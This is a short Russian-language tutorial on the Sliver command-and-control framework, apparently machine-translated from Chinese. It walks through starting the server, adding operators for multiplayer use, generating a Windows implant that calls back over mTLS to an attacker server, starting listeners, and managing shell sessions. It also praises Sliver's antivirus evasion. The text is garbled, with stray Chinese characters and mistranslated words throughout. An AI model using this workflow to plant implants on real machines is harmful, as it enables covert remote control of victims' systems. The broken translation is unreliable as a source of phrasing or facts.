В предыдущей статье,мы говорили о
Sliver
Использование рамок。Если это однопользовательский режим,Нам достаточно играть на стороне сервера。ноSliver
это поддержкаC2
структурный(То есть сервер и клиент)。Давайте изучим эту статью вместе!Примечание. Эта статья предназначена только для изучения и исследования, не используйте ее незаконно.
Sliver
Проект учитывает многопользовательскую и многоплатформенную генерацию.Shell。
Запустить сервер
./sliver-server_linux
Если вы одиночный пользователь, на этом установка завершена, и вы можете напрямую выполнять соответствующие команды в терминале. Но если существует сотрудничество с несколькими клиентами, необходимы следующие шаги.
new-operator --name Dabiaoge --lhost IP сервера сервера #Создаем нового клиента
multiplayer #Включить многопользовательский режим
В это время,Будет создан файл конфигурации клиента./root/tool/Dabiaoge_192.168.123.23.cfg
,Здесь я создал только одного пользователя,Если есть несколько пользователей,Исправлятьname
Стоимость。Следует отметить, что,server
Порт прослушивания по умолчанию31337
。如果要Исправлять的话 vim ~/.sliver/configs/server.json
Здесь для удобства,Мы по-прежнему используем скомпилированный напрямуюClient
Измените файл конфигурации, только что созданный сервером..cfg
Загрузить в клиент。
Импортировать файл конфигурации
./sliver-client_linux import /root/tool/Dabiaoge_192.168.123.23.cfg
На этом установка Sliver и настройка архитектуры C/S завершены.
Формат команды следующий:
generate --mtls <Server IP> --save ./test.exe --os Windows
Детали команды:
--mtls
:Протокол прослушивания(включатьhttp、mtls、grpc )
Как и в предыдущем шаге, создаем оболочку所用的Протокол прослушивания为mtls
,Итак, нам нужно настроитьmtls
Тип мониторинга。
Выполнить команду в терминале
mtls
Введяjobs
Заказ,Вы можете просмотреть включенный в данный момент мониторинг.
Порт по умолчанию8888
Если вы хотите указать порт, выполните команду
mtls -l 9999
Просмотрите сгенерированную оболочку
implants
После запуска оболочки и сервер, и клиент получат информацию о сеансе. В основном он включает идентификатор сеанса, IP-адрес внешней сети, имя хоста, платформу, время и т. д.
sessions -i id #Вход в сессию
sessions -k id #Завершить сеанс
После входа в сессию,ШуказуmsfКонсоль та же самая。проходитьhelp
Заказ,Мы можем получить соответствующие параметры выполнения.
по моему мнению,Sliver
Самым большим преимуществом является то, что эффект предотвращения уничтожения намного лучше, чем у других фреймворков.。Играбельность также относительно высока.,Простота установки и кроссплатформенность. Но сгенерированная оболочка относительно велика.
Авторские права принадлежат: старшему двоюродному брату Сяояози.
Ссылка на эту статью:https://cloud.tencent.com/developer/article/2171683
Лицензия: Creative Commons Attribution-NonCommercial 4.0 International. Перепечатка цитируемых статей регулируется той же лицензией.